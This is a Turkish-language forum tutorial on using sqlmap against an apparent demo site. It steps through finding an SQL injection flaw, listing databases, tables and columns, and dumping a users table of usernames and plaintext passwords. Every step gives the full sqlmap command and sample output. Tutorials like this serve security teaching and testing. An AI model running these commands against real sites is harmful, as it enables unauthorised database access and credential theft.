Sqlmap Kullanarak SQLi hatalarında Veri Çekme

Rıdvankaya

Uzman Üye
Katılım
21 Eyl 2023
Mesajlar
95
Tepkime puanı
42
Puanları
18
Yaş
31
Konum
Midyat/Mardin
Web sitesi
github.com
Sqlmap Kullanarak SQLi hatalarında Veri Çekme
Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır. Sqlmap'te kullanılan parametrelerin neredeyse tamamı önemli işlevlere sahip parametrelerdir. Bu yazıda, sqlmap kullanarak SQLi hatalarında veri çekme işleminin adımlarını uygulama üzerinden detaylıca açıklayarak anlatacağım.
Öncelikle, sqlmap aracını indirmek için şu bağlantıyı kullanabilirsiniz: https://github.com/sqlmapproject/sqlmap Ardından, sqlmap aracını çalıştırmak için terminalde sqlmap dizinine gidip python sqlmap.py komutunu yazabilirsiniz. Bu komut, sqlmap aracının kullanımı ve parametreleri hakkında kısa bir bilgi verir.
Sqlmap aracını kullanarak SQLi hatalarında veri çekme işlemini şu adımlarla gerçekleştirebiliriz:
1. Adım: SQL injection açıklığı olan bir URL bulma. Bu adımda, hedef web uygulamasının URL'sini sqlmap aracına tanıtmak için -u veya --url parametresini kullanırız. Örneğin, https://testasp.asaguvenlik.com/showforum.asp?id=0 URL'sinde SQL injection açıklığı olduğunu varsayalım. Bu durumda, sqlmap aracına şu komutu veririz:
python sqlmap.py -u "https://testasp.asaguvenlik.com/showforum.asp?id=0"
Bu komut sonucunda, eğer URL'de SQL injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır.
2. Adım: Sqlmap ile bu açıklıktan faydalanarak varolan veritabanlarını (-dbs) ve mevcut kullanıcıyı (--current-user) bulalım. Bu adımda, SQL injection açıklığının var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veritabanlarının listesini ekrana getirebiliriz. Ayrıca, --current-user parametresi ile de veritabanına bağlı olan kullanıcı adını öğrenebiliriz. Bu durumda, sqlmap aracına şu komutu veririz:
python sqlmap.py -u "https://testasp.asaguvenlik.com/showforum.asp?id=0" --dbs --current-user
Bu komut sonucunda, ekrana mevcut veritabanlarının listesi ve kullanıcı adı yazılacaktır. Örneğin, veritabanlarının listesi şöyle olabilir:
available databases [3]:
[*] acublog
[*] master
[*] testsparker
Ve kullanıcı adı şöyle olabilir:
current user: 'sa'
3. Adım: Acublog isimli veritabanındaki tabloları bulalım. Bu adımda, mevcut veritabanları arasından ilgilendiğimiz bir veritabanı adını -D parametresi ile belirtiriz. Örneğin, acublog veritabanını seçelim. Ardından, --tables parametresi ile de bu veritabanındaki tablo isimlerini getirmek için sqlmap aracına şu komutu veririz:
python sqlmap.py -u "https://testasp.asaguvenlik.com/showforum.asp?id=0" -D acublog --tables
Bu komut sonucunda, ekrana acublog veritabanındaki tablo isimleri yazılacaktır. Örneğin, tablo isimleri şöyle olabilir:
Database: acublog
[3 tables]
+---------+
| posts |
| users |
| comments|
+---------+
4. Adım: Dbo.users tablosundaki tüm sütun (kolon) isimlerini bulalım. Bu adımda, veritabanındaki tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adını -T parametresi ile belirtiriz. Örneğin, users tablosunu seçelim. Ardından, --columns parametresi ile de bu tablodaki kolon isimlerini getirmek için sqlmap aracına şu komutu veririz:
python sqlmap.py -u "https://testasp.asaguvenlik.com/showforum.asp?id=0" -D acublog -T users --columns
Bu komut sonucunda, ekrana users tablosundaki kolon isimleri yazılacaktır. Örneğin, kolon isimleri şöyle olabilir:
Database: acublog
Table: users
[4 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| id | int |
| uname | varchar(50) |
| upass | varchar(50) |
| role | varchar(10) |
+--------+--------------+
5. Adım: Users tablosundaki uname ve upass kolonlarındaki mevcut veriyi çekelim. Bu adımda, tablodaki kolon isimleri de alındıktan sonra verilerine ulaşılması istenen kolon adlarını -C parametresi ile belirtiriz. Örneğin, uname ve upass kolonlarını seçelim. Ardından, --dump parametresi ile de bu kolonlarda yer alan verileri ekrana yansıtmak için sqlmap aracına şu komutu veririz:
python sqlmap.py -u "https://testasp.asaguvenlik.com/showforum.asp?id=0" -D acublog -T users -C uname,upass --dump
Bu komut sonucunda, ekrana users tablosundaki uname ve upass kolonlarındaki veriler yazılacaktır. Örneğin, veriler şöyle olabilir:
Database: acublog
Table: users
[3 entries]
+----------+----------+
| uname | upass |
+----------+----------+
| admin | 123456 |
| guest | guest123 |
| user | user123 |
+----------+----------+
Bu şekilde, sqlmap aracını kullanarak SQLi hatalarında veri çekme işlemini tamamlamış oluruz.
 
Üst